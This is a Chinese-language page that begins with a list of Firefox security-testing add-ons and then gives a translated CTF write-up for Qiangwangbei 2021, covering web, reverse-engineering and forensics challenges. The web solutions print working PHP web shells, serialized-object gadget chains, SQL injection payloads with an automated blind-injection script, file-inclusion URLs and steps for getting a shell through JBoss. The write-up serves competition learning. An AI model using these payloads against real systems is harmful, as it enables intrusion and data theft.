<https://addons.cdn.mozilla.net/user-media/addons/6647/httpfox-0.8.14-fx+sm.xpi?filehash=sha256%3Aa6699e588581cc5707c34278cbee32af249435ccb03033f283dd17b9e64c943b>
监测和分析浏览器与web服务器之间的HTTP流量
5 Live HTTP Headers
<https://addons.mozilla.org/en-US/firefox/addon/live-http-headers/>
<https://addons.cdn.mozilla.net/user-media/addons/3829/live_http_headers-0.17-fx+sm.xpi?filehash=sha256%3A335d8fed0d09475413e9148b6f9b95683959ff61ba070752a7bfba3ead7a7112>
即时查看一个网站的HTTP头
6 Tamper Data
<https://addons.mozilla.org/en-US/firefox/addon/tamper-data/>
<https://addons.cdn.mozilla.net/user-media/addons/966/tamper_data-11.0.1-fx.xpi?filehash=sha256%3A4f0303b8685b2b190d011ed1329cdf7f351b0b3bc9c43f58ef701d819550cad0>
查看和修改HTTP/HTTPS头和POST参数
7 ShowIP
<https://addons.mozilla.org/en-US/firefox/addon/showip/>
<https://addons.cdn.mozilla.net/user-media/addons/590/showip-2.7.7-sm+tb+fx.xpi?filehash=sha256%3Ae93e1f90f06b61d53bb8dd70cc9dcfae7eb76aa1133a6257966c04d31f1c04d0>
在状态栏显示当前页的IP地址、主机名、ISP、国家和城市等信息。
8 OSVDB
<https://addons.mozilla.org/en-us/firefox/addon/osvdb/>
<https://addons.cdn.mozilla.net/user-media/addons/45607/osvdb-20091025.xml?filehash=sha256%3A9e63e42275a425433fdea755c93fa7d3dd2ca2c9bb2210492f0716072f05e3da>
开放源码的漏洞数据库检索
9 Packet Storm search plugin
<https://addons.mozilla.org/en-us/firefox/addon/packet-storm-search-plugin/>
<https://addons.cdn.mozilla.net/user-media/addons/46818/packetstorm_search_suggest-20091102.xml?filehash=sha256%3A8a5a93e46423c9d478822e601c7403b162d578918b7b6d188c05d1a775941653>
Packet Storm提供的插件，可以搜索漏洞、工具和exploits等。
10 Offsec Exploit-db Search
<https://addons.mozilla.org/en-us/firefox/addon/offsec-exploit-db-search/>
<https://addons.cdn.mozilla.net/user-media/addons/50241/offsec_exploit_archive_search-20100614.xml?filehash=sha256%3A70c9a23cb7395d3e1bdafd4223ebf512955b6be2dcc6e28e98685eed4859c22e>
搜索Exploit-db信息
11 Security Focus Vulnerabilities Search Plugin
<https://addons.mozilla.org/en-us/firefox/addon/securityfocus-vulnerabilities-/>
<https://addons.cdn.mozilla.net/user-media/addons/14633/securityfocus_vulns_search_-20091001.xml?filehash=sha256%3A02f7afa02f1493d60eed33686745a791a85ec9c81387a4f8aa59022739dd060c>
在Security Focus上搜索漏洞
12 Cookie Watcher
[Cookie Watcher](Cookie Watcher)
在状态栏显示cookie
13 Header Spy
<https://addons.mozilla.org/en-us/firefox/addon/header-spy/>
<https://addons.cdn.mozilla.net/user-media/addons/4276/header_spy-1.3.4.3-fx.xpi?filehash=sha256%3A88a29a7fb2595bd99115abda82d93f18bc2aece251eb9fc818403c97e6fab31f>
在状态栏显示HTTP头
14 Groundspeed
<https://addons.mozilla.org/en-us/firefox/addon/groundspeed/>
<https://addons.cdn.mozilla.net/user-media/addons/46698/groundspeed-1.2-fx.xpi?filehash=sha256%3A1a742ad15c26d5d993f388a41f008422d0cc1729aa0058845f7eee7b4f410953>
Manipulate the application user interface.
15 CipherFox
<https://addons.mozilla.org/en-us/firefox/addon/cipherfox/>
<https://addons.cdn.mozilla.net/user-media/addons/8919/cipherfox-4.1.1-fx+sm.xpi?filehash=sha256%3A2b0e4a62e5a949f56deccbd5cc89d1c15fdf803b78f5340da281f35a6443108d>
在状态栏显示当前SSL/TLS的加密算法和证书
16 XSS Me
<https://addons.mozilla.org/en-us/firefox/addon/xss-me/>
<https://addons.cdn.mozilla.net/user-media/addons/7598/xss_me-0.4.6-fx.xpi?filehash=sha256%3Ab9a9b65339481e3706925537f68ecbacaecae81211458a6fe73bd9d268cf363c>
XSS测试扩展
17 SQL Inject Me
<https://addons.mozilla.org/en-us/firefox/addon/sql-inject-me/>
<https://addons.cdn.mozilla.net/user-media/addons/7597/sql_inject_me-0.4.7-fx.xpi?filehash=sha256%3Ad476622cc47a69e904b37e27c374ed307e16fc17ad15054309af3f755475f4e3>
SQL注入测试扩展
18 Wappalyzer
<https://addons.mozilla.org/en-us/firefox/addon/wappalyzer/>
<https://addons.cdn.mozilla.net/user-media/addons/10229/wappalyzer-3.2.11-fx.xpi?filehash=sha256%3Aab961c199f0b3749685fab2701f9fa91e7e15baebeb88a45c5df6a374f6fa8a6>
查看网站使用的应用程序
19 Poster
<https://addons.mozilla.org/en-us/firefox/addon/poster/>
<https://addons.cdn.mozilla.net/user-media/addons/2691/poster-3.1.0-fx.xpi?filehash=sha256%3Ace27e3743f7641b6cd18eae0410ae134426f58bf48445bc5c4ee371bbf88f81d>
发送与Web服务器交互的HTTP请求，并查看输出结果
20 Javascript Deobfuscator
[Javascript Deobfuscator](Javascript Deobfuscator)
21 Modify Headers
<https://addons.mozilla.org/en-us/firefox/addon/modify-headers/>
<https://addons.cdn.mozilla.net/user-media/addons/967/modify_headers-0.7.1.1-fx.xpi?filehash=sha256%3Ab0e269324a42c2b0f63346d8e8db837ec20abd287d67eaf4134ef0437d825172>
修改HTTP请求头
22 FoxyProxy
<https://addons.mozilla.org/en-us/firefox/addon/foxyproxy-standard/>
<https://addons.cdn.mozilla.net/user-media/addons/2464/foxyproxy_standard-4.6.5-fx+sm+tb.xpi?filehash=sha256%3Ab8109fc59ba13a58e9a7adb5263cacc923f158cd1480631fa27dda7c1b57f59a>
代理工具
23 FlagFox
[FlagFox](FlagFox)
可以在地址栏或状态栏上显示出当前网站所在国家的国旗，也有更多的其他功能，如：双击国旗可以实现WOT功能；鼠标中键点击是whois功能。当然用户可以在选项里设置快捷键实现诸如复制IP，维基百科查询等功能。
24 Greasemonkey
<https://addons.mozilla.org/en-us/firefox/addon/greasemonkey/>
<https://addons.cdn.mozilla.net/user-media/addons/748/greasemonkey-3.11-fx.xpi?filehash=sha256%3A028aae4a9db333bca9958324b92ce2020159a133985223f702be432a30a432c7>
greasemonkey 使你可以向任何网页添加DHTML语句(用户脚本)来改变它们的显示方式。就像CSS可以让你接管网页的样式，而用户脚本(User
Script)则可以让你轻易地控制网页设计与交互的任何方面。例如:
* 使页面上显示的 URL 都成为可以直接点击进入的链接。 _增强网页实用性，使你经常访问的网站更符合你的习惯。_ 绕过网站上经常出现的那些烦人的 Bug。
25 Domain Details
<https://addons.mozilla.org/en-us/firefox/addon/domain-details/>
<https://addons.cdn.mozilla.net/user-media/addons/2166/domain_details-2.7-fx.xpi?filehash=sha256%3A8e066a1fff23ada8076b6f4d338a1a92792a294eab580aaaaaded4280d66038d>
显示服务器类型、IP地址、域名注册信息等
26 Websecurify
<https://addons.mozilla.org/en-us/firefox/addon/websecurify/>
<https://addons.cdn.mozilla.net/user-media/addons/337391/websecurify-5.5.0-fx.xpi?filehash=sha256%3Afd2cd352319d5b16338f6f6cf40d4ba27156e54765f7c782bb7614b6e8069a99>
Websecurify是WEB安全检测软件的Firefox的扩展，可以针对Web应用进行安全评估
27 XSSed Search
[XSSed Search](XSSed Search)
搜索XSSed.Com跨站脚本数据库
28 ViewStatePeeker
<https://addons.mozilla.org/en-us/firefox/addon/viewstatepeeker/>
<https://addons.cdn.mozilla.net/user-media/addons/7167/viewstatepeeker-2.5-fx.xpi?filehash=sha256%3Ac1acffce9595a9f4a74041d125d5c36f0ed46e3dae0e04ad5de155a49178d91a>
查看asp.net的iewState
29 CryptoFox
<https://addons.mozilla.org/en-US/firefox/addon/cryptofox/>
<https://addons.cdn.mozilla.net/user-media/addons/12065/cryptofox-2.2-fx.xpi?filehash=sha256%3A1a67808328ed28c07511c25767d3a786b371bc3068cb39b32562f51260cee784>
30 WorldIP
[WorldIP](WorldIP)
显示服务器的IP、地址、PING、Traceroute、RDNS等信息
31 Server Spy
[Server Spy](Server Spy)
识别访问的web服务器类型，版本以及IP地址的插件
32 Default Passwords
<https://addons.mozilla.org/en-US/firefox/addon/default-passwords-cirtne-58786/>
<https://addons.cdn.mozilla.net/user-media/addons/58786/default_passwords_-_cirt.net-20100110.xml?filehash=sha256%3A3da5ea0dc15be1286a846e147938bb228f0a0f09be295d21b2f5c1ac264f9bda>
搜索CIRT.net默认密码数据库。
33 Snort IDS Rule Search
<https://addons.mozilla.org/en-US/firefox/addon/snort-ids-rule-search/>
<https://addons.cdn.mozilla.net/user-media/addons/58787/snort_ids_rule_search-20100110.xml?filehash=sha256%3Af6a3aab54f708bed418f47aec3d30f0aeef4b584b9f5a61abd6c485996a0af91>
搜索Snort的IDS规则，做签名开发的应该很有用。
34 FireCAT
[FireCAT](FireCAT)
FireCAT (Firefox Catalog of Auditing exTensions)
是一个收集最有效最有用的应用程序安全审计和风险评估工具的列表(这些工具以Firefox插件形式发布的),FireCAT中没有收集的安全工具类型包
括:fuzzer,代理和应用程序扫描器. | 社区文章 |
# 强网杯2021WP
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## WEB
### 0x01 **Hard_Penetration**
shiro反序列化
拿到shell进去以后，发现flag的权限是www-data的，而我们本身权限很低。
发现内网8005端口有服务，baocms，代码审计
Tudou\Lib\barcodegen\html\image.php
目录下有任意文件包含
然后在传递参数，在上面的shell下，写个shell在tmp目录下
echo "<?php system('cat /flag');?>" > a.barcode.php
然后访问:[http://10.0.14.128:8005/Tudou/Lib/barcodegen/html/image.php?code=/../../../../../../../../tmp/a&t=1&r=1&rot=1&text=1&f1=1&f2=1&o=1&dpi=1&a1=1&a2=1](http://10.0.14.128:8005/Tudou/Lib/barcodegen/html/image.php?code=/../../../../../../../../tmp/a&t=1&r=1&rot=1&text=1&f1=1&f2=1&o=1&dpi=1&a1=1&a2=1)
### 0x02 **pop_master**
使用wget获取class.php.txt,通过语法phply拿到语法树。然后用脚本解析
# -*- coding: utf-8 -*- # 正则匹配eval链
"""
Created on Sat Jun 12 10:13:45 2021
@author: Hypixel
"""
import re
class classpart:
def __init__ (self,classname):
self.classname=classname
self.funcs=[]
class func:
def __init__(self,funcname,param):
self.funcname=funcname
self.cango=[]
self.para = param
self.flag = 1
self.end=0
ansc = ['a' for i in range(10000)]
ansf = ['a' for i in range(10000)]
ansp = ['a' for i in range(10000)]
fi = open("D:\\ans.txt","w")
#for i in range()
def write2php(ansc,ansf,ansp):
fp = open("D:\\flag.php", "w");
for k in range(len(ansc)):
if(ansc[k] == 'a'):
break
print(ansc[k]+' '+ansf[k])
for k in range(len(ansc)):
if(ansc[k] == 'a'):
break
fp.writelines('$a' + str(k+1) +' = new '+ ansc[k]+'()'+'\n')
for k in range(len(ansp)):
if(ansc[k] == 'a'):
break
fp.writelines(ansp[k]+'\n')
fp.close()
def findonefunc(classarray,funcname,depth):
for c in classarray:
for f in c.funcs:
if(funcname == f.funcname):
if(f.flag == 0):
return
if(f.end):
#print(funcname)
if(funcname == 'tLpuAE'):
write2php(ansc,ansf,ansp)
fi.write(funcname+'\n')
#print(ansc[depth])
return
ansp[depth-1] = f.para
ansc[depth-1] = c.classname
for cango in f.cango:
ansf[depth] = cango
findonefunc(classarray, ansf[depth], depth+1)
with open('./class.php') as f:
content=f.read()
classarray=[]
for i in re.findall("class (.*?){",content):
classarray.append(classpart(i))
for i in classarray:
#寻找类
p=re.compile(r"class "+i.classname+r"\{(.*?)\}\n\n\nc",re.S)
tmp=re.findall(p,content)
if not len(tmp)==1:
print("Error in "+i.classname)
raise ValueError(tmp)
classcontent=tmp[0]#类的内容
funcnames=re.findall(r"public function (.*?)\{",classcontent)#找到函数名
for x in funcnames:
t=x.split("(")
x=t[0]
param=t[1][:-1]
nowfunc=func(x,param)
i.funcs.append(nowfunc)
p=re.compile(r"public function " + x + r".*?\{(.*?)\n\n\}",re.S)
tmp1=re.findall(p,classcontent)#每个函数内容
if not len(tmp1)==1:
print("Error in "+i+":"+x)
raise ValueError(tmp1)
funccontent=tmp1[0]#函数内容
if 'eval' in funccontent:
nowfunc.end=1
#if ';\n\t\teval' in funccontent:
# nowfunc.end=0
#elif ('}\n\t\teval' in funccontent) and ('for' in funccontent):
# nowfunc.end=0
'''if(nowfunc.end == 0):
if('for' in funccontent):
if()
#if('= ' + param) in funccontent:
#if((param + ' = ' + param) in funccontent) or ((param + '= ' + param) in funccontent):
#print(param + ' = ' + param)
#print("123")
nowfunc.flag = 0
#print(nowfunc.funcname)
'''
if((param +'=' in funccontent) and not ('.' in funccontent)):
#print(nowfunc.funcname)
nowfunc.flag = 0
if((param + ' =' in funccontent) and not('.' in funccontent)):
#print(nowfunc.funcname)
nowfunc.flag = 0
p=re.compile(r"\$this-\>.*?-\>(.*?)\(",re.S)
cango=re.findall(p,funccontent)
for y in cango:
nowfunc.cango.append(y.split('>')[-1])
#print(nowfunc.cango)
a=input(">")
C = []
#print(len(classarray))
for c in classarray:
for f in c.funcs:
if(f.funcname == a):
C.append(c)
break
ansc[0] = C[0].classname
ansf[0] = a
for f in C[0].funcs:
if(f.funcname == a):
for i in f.cango:
ansf[1] = i
findonefunc(classarray, ansf[1], 2)
直接`include//class.php`
下面是pop链
//pop.php
<?php
include("class.php");
$a1 = new rrB0WS();
$a2 = new T4GDAZ();
$a3 = new mGmm1l();
$a4 = new ezKORI();
$a5 = new HMkI93();
$a6 = new YOrMZ7();
$a7 = new vuUqtB();
$a8 = new fs9GQe();
$a9 = new QumdiY();
$a10 = new n265yG();
$a11 = new MS4yrg();
$a12 = new x0QL0p();
$a13 = new FbbqrK();
$a14 = new h6gn8u();
$a15 = new MCGo5W();
$a16 = new FQppeP();
$a17 = new gMoCqO();
$a18 = new tTz13X();
$a19 = new dTBOgv();
$a20 = new uXBFzw();
$a21 = new SwtBrC();
$a22 = new XyoDnK();
$a1->lysEtIg = $a2;
$a2->cvirWwt = $a3;
$a3->GgzEmwo = $a4;
$a4->Hu4uqZ6 = $a5;
$a5->u1lTFey = $a6;
$a6->PRhtfhx = $a7;
$a7->FLVUrQG = $a8;
$a8->CHX5Asb = $a9;
$a9->xoeBSGa = $a10;
$a10->CxVCLpp = $a11;
$a11->OE3G2SB = $a12;
$a12->w0vi1yZ = $a13;
$a13->uQvPqer = $a14;
$a14->vF6P5gg = $a15;
$a15->YI5muvF = $a16;
$a16->rt5nhnc = $a17;
$a17->sd5cgIu = $a18;
$a18->dgUyoy2 = $a19;
$a19->ugX0RAB = $a20;
$a20->Gb1Qkis = $a21;
$a21->wApnGE2 = $a22;
print(urlencode(serialize($a1)));
?>
### 0x03 **赌徒（强网先锋）**
www.zip源码泄露
然后
<meta charset="utf-8">
<?php
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
var_dump($this->file['filename']);
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
$a = new Start;
$b= new Info;
$c = new Room;
//$c->ffiillee=123;
$d=new Room();
$d->filename='/flag';
$c->a=$d;
$c->filename=$d;
$b->file['filename']=$c;
$a->name=$b;
$a->flag=$b;
$s=urlencode(serialize($a));
echo $s;
?>
### 0x04 **寻宝** (强网先锋)
ppp[number1]=123123%00&ppp[number2]=1e9&ppp[number3]=453200835&ppp[number4]=0e12222&ppp[number5]={"key":0001}
第二层misc：文件管理器-高级搜索-文件内容KEY2
### 0x05 **EASYWEB**
漏洞点在<http://47.104.136.46/files/>
下载到hint文件
Try to scan 35000-40000 ^_^.
All tables are empty except for the table where the username and password are located
Table: employee
nmap扫描完之后是 36842
sqlmap跑注入
password=123&username=admin' or 1=extractvalue(0x0a,concat(0x0a,(select database())));--
数据库是 easyweb 表是 employee 用户名是 admin 密码99f609527226e076d668668582ac4420
然后去上传文件`.htaccess`
AddHandler php5-script .ant
.ant文件 <?php passthru($_GET['222']);
第二种思路这里：
上去.php不会被过滤 并且上传两次之后 会被自动重命名。1.php依次地推
然后
随后上传frpc 开内网代理 扫描端口 发现8005 存在Jboos服务
<http://172.17.0.2:8006/jmx-console/>
参考：https://blog.csdn.net/weixin_43999372/article/details/88364032
jboss4.x漏洞
上传war包到`upload/xxx`
解析生成jsp马上传 root getshell读flag
### 0x06 **WhereIsUWebShell**
cookie参数反序列化：
`O:7:"myclass":2:{s:5:"hello";O:5:"Hello":1:{s:3:"qwb";s:36:"e2a7106f1cc8bb1e1318df70aa0a3540.php";}}`
需要url编码 需要根据读取文件名修改s:后的长度，实现任意文件读取。
//e2a7106f1cc8bb1e1318df70aa0a3540.php
<?php
include "bff139fa05ac583f685a523ab3d110a0.php";
include "45b963397aa40d4a0063e0d85e4fe7a1.php";
$file = isset($_GET['bc5aaf8e-ddab-44d7-be06-c99ebabedce0'])?$_GET['bc5aaf8e-ddab-44d7-be06-c99ebabedce0']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){
PNG($file);
}
include($file);
$res = @scandir($_GET['f810c25d-3c55-44e3-9ece-edcaf122287c']);
if(isset($_GET['f810c25d-3c55-44e3-9ece-edcaf122287c'])&&$_GET['f810c25d-3c55-44e3-9ece-edcaf122287c']==='/tmp'){
$somthing = GenFiles();
$res = array_merge($res,$somthing);
}
shuffle($res);
@print_r($res);
?>
//bff139fa05ac583f685a523ab3d110a0.php
<?php
function PNG($file)
{
if(!is_file($file)){die("我从来没有见过侬");}
$first = imagecreatefrompng($file);
if(!$first){
die("发现了奇怪的东西2333");
}
$size = min(imagesx($first), imagesy($first));
unlink($file);
$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($second !== FALSE) {
imagepng($second, $file);
imagedestroy($second);//销毁，清内存
}
imagedestroy($first);
}
?>
//45b963397aa40d4a0063e0d85e4fe7a1.php
<?php
function GenFiles(){
$files = array();
$str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$len=strlen($str)-1;
for($i=0;$i<10;$i++){
$filename="php";
for($j=0;$j<6;$j++){
$filename .= $str[rand(0,$len)];
}
// file_put_contents('/tmp/'.$filename,'flag{fake_flag}');
$files[] = $filename;
}
return $files;
}
?>
发现可以任意文件读取（实际上只在两个有权限的地方/tmp和/var/www/html/下可以），可以获得文件夹下文件名。
这里是一个gd2的图片马，网上抄个脚本就可以了。
PNG函数猜测是一个文件上传入口
存在include包含。发现一个问题频繁的上传文件会导致502报错，但是tmp目录下的文件将会保留。但是，还有`php://filter/string.strip_tags/resource=passwd`这个是php7.x版本的漏洞包含溢出
还有一个suid提权，和flag的寻找。
### 0x07 easy_sql
username 的trick绕过 `username[]=admin`
下面就是绕过密码的校验，
然后这个题目 是postgrepsql数据库。使用以下脚本可以获取相关数据
0'and(select/**/case/**/when(substr((select version()),{i},1)='{char}')then(SELECT/**/'dem0'/**/FROM/**/PG_SLEEP(5))else/**/'0'/**/end)='dem0';--
信息如下:
#database app
#table users hint
#hint 内容 its "nothing"
#version PostgreSgreSQL 10.17
这里是后面爆破的信息不齐全
后面一半的hint和version没有爆破完全。然后发现user库是空的。那就只能我自己查我自己，然后我说是我自己密码正确，但是password注入了
还怎么相等呢？题目没有原型链，那就只有sql了。要达到的效果就是`SQL 查询语句和 SQL 查询结果完全相等。`因为是三个等号
借鉴:<https://mineta.tistory.com/56>
' UNION SELECT REPLACE(REPLACE('" UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS cid, 1337 AS passcode -- "OR 1 limit 3,1#',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS cid, 1337 AS passcode -- "OR 1 limit 3,1#') AS cid, 1337 AS passcode -- 'OR 1 limit 3,1#
他的本质可以理解循环嵌套了两层，用了两个replace，最后又来一遍。
作为标准开始写我们自己的。
replace可以用下面这个函数
' union SELECT REPLACE(REPLACE(' union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS dem0-- ',CHAR(34),CHAR(39)),CHAR(36),'union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS dem0') AS dem0--
因为要绕过滤。本地跑一下就知道这个语句发现 我们没有char和replace。将各自他们在这里起的作用进行调试 把三个特殊字符 `'`
`"``.`处理一下。
然后
' union SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS dem0-- ',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS dem0-- ') AS dem0--
首先char(36)和char(39)就不用问怎么绕过了把
(hint都给了)，借助hint，然后发现还有个`$`首先我们要明白这个`$`有什么作用，首先它的作用就是占位，也就是蹲坑。那么我们可以同样使用没有出现过的字符代替`.`这样就能达到相同的结果.
我们将源语句提取出来
' union SELECT REPLACE(translate(".",(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),".") AS dem0--
然后开始套娃
f"""' union SELECT REPLACE(translate('" union SELECT REPLACE(translate(".",(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),".") AS dem0-- ',(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),'" union SELECT REPLACE(translate(".",(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),".") AS dem0-- ') AS dem0-- """
注意前面的`'` 还有空格。贴上一个脚本 方便测试
import sys
import time as t
import string as s
import requests as req
url= ""
payloads = s.printable
res = ''
#database app
#table users
#its "nothing"
#version PostgreSgreSQL 10.17
for i in range(5,50):
for char in payloads:
#payload = f"""0'and(select/**/case/**/when(substr((select version()),{i},1)='{char}')then(SELECT/**/'dem0'/**/FROM/**/PG_SLEEP(5))else/**/'0'/**/end)='dem0';--"""
payload = f"""' union SELECT REPLACE(translate('" union SELECT REPLACE(translate(".",(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),".") AS dem0-- ',(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),'" union SELECT REPLACE(translate(".",(select substr((select hint from hint),6,1)),(select substr((select hint from hint),3,1))),(select substr((select version()),14,1)),".") AS dem0-- ') AS dem0-- """
data = {
'username[]' : 'admin',
'password' : payload,
}
try:
print(payload)
start = int(t.time())
r = req.post(url=url, data=data)
print(r.text)
time = int(t.time()) - start
if time >= 2:
res += char
print(res)
break
except Exception as e:
print(e)
pass
## RE
### 0x01 **ezmath**
因为精度不够，采用夹逼法求爆破flag
#include<iostream>
#include<Windows.h>
using namespace std;
unsigned char dbl_4020[] =
{
0x39, 0xCA, 0x59, 0xBD, 0x3F, 0xAD, 0x19, 0x3F, 0x95, 0xCA,
0x21, 0x10, 0x63, 0xEC, 0x1A, 0x3F, 0xA1, 0xFF, 0xF2, 0x2D,
0x29, 0x1A, 0x18, 0x3F, 0x9E, 0x12, 0x72, 0xF8, 0x06, 0x95,
0x1C, 0x3F, 0x3A, 0xB4, 0xA9, 0xAB, 0xC6, 0x2A, 0x1D, 0x3F,
0xA2, 0xBA, 0x40, 0x57, 0xD5, 0x68, 0x1A, 0x3F, 0x3A, 0xB4,
0xA9, 0xAB, 0xC6, 0x2A, 0x1D, 0x3F, 0xFB, 0x48, 0xC4, 0x94,
0xB9, 0x72, 0x1B, 0x3F, 0x14, 0xEC, 0x18, 0xAF, 0xFF, 0x2B,
0x1D, 0x3F, 0x7D, 0xF7, 0x73, 0x32, 0x5F, 0x71, 0x1B, 0x3F,
0x14, 0xEC, 0x18, 0xAF, 0xFF, 0x2B, 0x1D, 0x3F, 0x43, 0x06,
0xCE, 0x02, 0x63, 0x92, 0x1C, 0x3F, 0x3A, 0xB4, 0xA9, 0xAB,
0xC6, 0x2A, 0x1D, 0x3F, 0x06, 0x02, 0x10, 0xB7, 0x70, 0x94,
0x1C, 0x3F, 0x53, 0x04, 0xB9, 0x04, 0x72, 0x2E, 0x1D, 0x3F,
0x35, 0xCB, 0x77, 0xB1, 0x13, 0x65, 0x1A, 0x3F, 0x56, 0x6D,
0xE7, 0x6E, 0x78, 0x2A, 0x1D, 0x3F, 0x82, 0x63, 0x2D, 0xDD,
0xCC, 0x91, 0x1C, 0x3F, 0x33, 0xC1, 0xAA, 0x74, 0x11, 0x33,
0x16, 0x3F
};
unsigned char constant[] = {
0x69, 0x57, 0x14, 0x8B, 0x0A, 0xBF, 0x05, 0x40
};
double v3;
BYTE v4[] = { 0xe9, 0x4, 0xf0, 0x7, 0x8, 0xa8, 0x35, 0x3f };
void main()
{
double e = *(double*)constant;
for (size_t j = 0; j < 19; j++)
{
for (int i = 0x2022;i <= 0x8080;i++)
{
double q = *(double*)(dbl_4020 + 8 * j);
if ((e-e/(i+1))/i <= q )
{
cout << hex << i-1;
break;
}
}
}
}
### 0x02 **StandOnTheGiants**
jadx静态分析，关键函数是native的check
使用了openssl库的大数模块实现RSA
变种base64
编码中存在14位’+’’-‘，所以共2^14种解密可能
dfs 枚举所有路径，其次暴力decode即可
#include<bits/stdc++.h>
using namespace std;
vector<int>add,cut;
int lena;
string Enc;
string Ori;
string New;
void dfs(string s,int index){
if(index == lena - 1){
cout<<(s+'=')<<endl;
return ;
}
string tmp;
if(Enc[index] == '+'){
tmp = s+Ori[add[0]];
dfs(tmp,index+1);
tmp = s+Ori[add[1]];
dfs(tmp,index+1);
}
else if(Enc[index] == '-'){
tmp = s + Ori[cut[0]];
dfs(tmp,index+1);
tmp = s + Ori[cut[1]];
dfs(tmp,index+1);
}
else{
tmp = s + Ori[New.find(Enc[index])];
dfs(tmp,index+1);
}
return ;
}
int main(){
freopen("res.txt","w",stdout);
Enc = "bUloKWheCJ-vVFhAr;ARxjfbiTSBXbJVorm;;cBzcLA+ZSW+@TM@LuIYyxW,vP/,HdlB;Kl+GKPmQfAqCjPlD;UYjoeI-scAjQEb-g-UcxEDmm@tqTKxqWsmTi-Zydv+GMCktXPHvmG=";
Ori = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
New = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;?@+-";
for(int i=0;i<(int)New.length();i++){
if(New[i] == '+') add.push_back(i);
else if(New[i] == '-') cut.push_back(i);
}
lena = Enc.length();
string tmp="";
dfs(tmp,0);
return 0;
}
通过n分解出p，q，e为0x10001，遍历所有base64可能，并rsa解密，直到找到含有flag字样的语句
from binascii import unhexlify
from base64 import b64decode
from gmpy2 import *
from Crypto.Util.number import *
table = "0C 0E 0F 0C 79 0F 7B 79 79 79 78 05 7F 79 04 79 7B 7B 0E 0A 04 7C 7B 7B 0D 0E 0D 79 78 0F 0D 08 7F 05 09 0B 78 7F 08 7E 78 7E 7E 09 0D 7B 7C 05 7C 7C 04 7E 0F 7C 05 08 7E 78 0E 78 04 04 0F 0C 04 0E 78 05 0A 0E 7F 0F 7F 7E 0B 0B 0A 79 7C 7F 78 0F 7C 7E 0E 78 78 04 79 79 0F 0E 7F 0E 7C 04 78 79 04 78 7E 0D 7E 0E 7E 0A 09 09 08 0B 0B 0E 7B 08 09 08 08 09 0B 04 7F 0A 0F 0A 79 79 0B 7B 7F 7E 0D 0E 7F 0C 7F 7B 04 08 79 0D 0E 7C 0C 0E 7E 0D 0E 0B 05 0B 09 08 0A 0B 0A 0B 0E 0D 7E 0A 78 7C 7F 7B 08 78 0A 7C 7F 08 7B 7C 0F 0A 7F 04 09 7C 79 78 0A 78 0C 78 0F 0E 7F 7E 7E 0B 08 79 0F 7C 0A 79 78 79 0C 7E 08 7F 0E 0B 09 7F 08 0C 3D".split(' ')
table = [int(i, 16) for i in table]
for i in range(len(table)):
table[i] ^= 0x3D
a = ''.join(map(lambda x:"%02X" % x, table))
a = unhexlify(a).strip(b'\x00').decode()
with open("res.txt") as f:
res = f.read().split('\n')
n = int(a, 16)
p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711
q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367
e = 0x10001
phi = (p-1) * (q-1)
d = invert(e, phi)
for i in res:
try:
c = bytes_to_long(b64decode(i))
tmp = long_to_bytes(pow(c, d, n))
if b'flag' in tmp or b'qwb' in tmp or b'ctf' in tmp or b'FLAG' in tmp or b'QWB' in tmp:
print(tmp.decode())
except:
pass
## MISC
### 0x01 **cipherman**
volatility 查看memery，直接搜索txt文件
发现下面的文件
Device\HarddiskVolume2\Users\RockAndRoll\Desktop\BitLocker 복구 키
168F1291-82C1-4BF2-B634-9CCCEC63E9ED.txt
打开翻译
BitLocker 드라이브 암호화 복구 키
복구 키는 BitLocker로 보호되는 드라이브에서 데이터를 검색하기 위해 사용됩니다.
이 키가 올바른 복구 키인지 확인하려면 복구 화면에 표시된 것과 ID를 비교하십시오.
복구 키 ID: 168F1291-82C1-4B
전체 복구 키 ID: 168F1291-82C1-4BF2-B634-9CCCEC63E9ED
BitLocker 복구 키:
221628-533357-667392-449185-516428-718443-190674-375100
是一个bitlocker文件卷加密，使用diskginus打开输入恢复健即可打开，发现readme文件，就是flag
